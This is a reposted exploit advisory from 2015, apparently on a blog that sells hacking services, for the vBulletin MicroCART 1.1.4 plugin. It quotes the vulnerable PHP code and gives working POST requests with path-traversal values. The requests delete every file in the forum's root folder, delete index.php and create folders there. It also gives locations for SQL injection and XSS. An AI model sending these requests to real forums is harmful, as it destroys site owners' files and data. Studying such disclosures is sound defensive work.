Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375369

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion, 
SQL Injection & XSS
# Date: January 8, 2015
# Exploit Author: Technidev (https://technidev.com)
# Vendor Homepage: https://vbulletin.com
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=256723
# Version: 1.1.4

This plugin is fairly old but still used by a lot of people and received 
its last update nearly 4 years ago.
It’s vulnerable to arbitrary file deletion and SQL injection.

*Arbitrary File(s) Deletion*
In /microcart/editor/assetmanager/ are a bunch of files which are 
probably used to manage files/folders for the administrator, 
unfortunately no authentication and checks were added to see if the user 
should have access to it and if the request doesn’t contain anything 
malicious.

The /microcart/editor/assetmanager/folderdel_.php file contains the 
following on top:

$sMsg = "";

if(isset($_POST["inpCurrFolder"]))
   {
   $sDestination = pathinfo($_POST["inpCurrFolder"]);

   //DELETE ALL FILES IF FOLDER NOT EMPTY
     $dir = $_POST["inpCurrFolder"];
     $handle = opendir($dir);
     while($file = readdir($handle)) if($file != "." && $file != "..") 
unlink($dir . "/" . $file);
     closedir($handle);

   if(rmdir($_POST["inpCurrFolder"])==0)
     $sMsg = "";
   else
     $sMsg = "<script>document.write(getTxt('Folder deleted.'))</script>";
   }
By simply sending a POST request to this file, we can delete every 
single file in specified folder.

POST to:    /microcart/editor/assetmanager/folderdel_.php
POST data:    inpCurrFolder: ../../../
This POST request will delete every single .php file in the root folder 
of vBulletin.

*Arbitrary File Deletion*
There’s another vulnerability which resides in the 
/microcart/editor/assetmanager/assetmanager.php file. It contains an 
upload function, which is safe, and a file deletion function, which is 
not safe. We can delete any file off the server by abusing this. So 
unlike the previous vulnerability I just wrote which deletes all files 
by sending a POST request with a folder value, this will only delete 1 
file off the server.

Vulnerable code:
if(isset($_POST["inpFileToDelete"]))
   {
   $filename=pathinfo($_POST["inpFileToDelete"]);
   $filename=$filename['basename'];
   if($filename!="")
     unlink($currFolder . "/" . $filename);
   $sMsg = "";
   }
Exploited by sending the following request:

POST to:    /microcart/editor/assetmanager/assetmanager.php
POST data:    inpCurrFolder: ../../../
         inpFileToDelete: index.php
This will delete the /index.php file of vBulletin, in the root.

*Aribtrary Folder Creation*
Besides the file deletion, there’s a file called 
/microcart/editor/assetmanager/foldernew.php which created a 0755 
chmodded folder on the server.
The file contains the following on top:
$sMsg = "";

if(isset($_POST["inpNewFolderName"]))
   {
   $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"];

   if(is_dir($sFolder)==1)
     {//folder already exist
     $sMsg = "<script>document.write(getTxt('Folder already 
exists.'))</script>";
     }
   else
     {
     //if(mkdir($sFolder))
     if(mkdir($sFolder,0755))
       $sMsg = "<script>document.write(getTxt('Folder created.'))</script>";
     else
       $sMsg = "<script>document.write(getTxt('Invalid input.'))</script>";
     }
   }
By sending the following POST request, we will create a folder with 0755 
chmodded permission.

POST to:    /microcart/editor/assetmanager/foldernew.php
POST data:    inpNewFolderName:     davewashere
         inpCurrFolder:         ../../..
This POST request will create the folder davewashere in the root of the 
vBulletin forum.

*SQL Injection*
MicroCART is also vulnerable to SQL injection at several locations 
although most of them are rather hard to abuse. I will not explain how 
to exploit it, but the vulnerability can be found at /cart.php line 833 
to 881 and the function where you can add products to your shopping 
cart, at around line 1251 to 1328 where $_POST[‘fields’] is assigned to 
the configuration variable which is later used in a query.

*Cross Site Scripting*
When modifying your information at /cart.php?do=cpanel, you can inject 
anything you want into the fields.
Viewing reviews of products may be vulnerable as well when you leave out 
the wysiwyg POST key.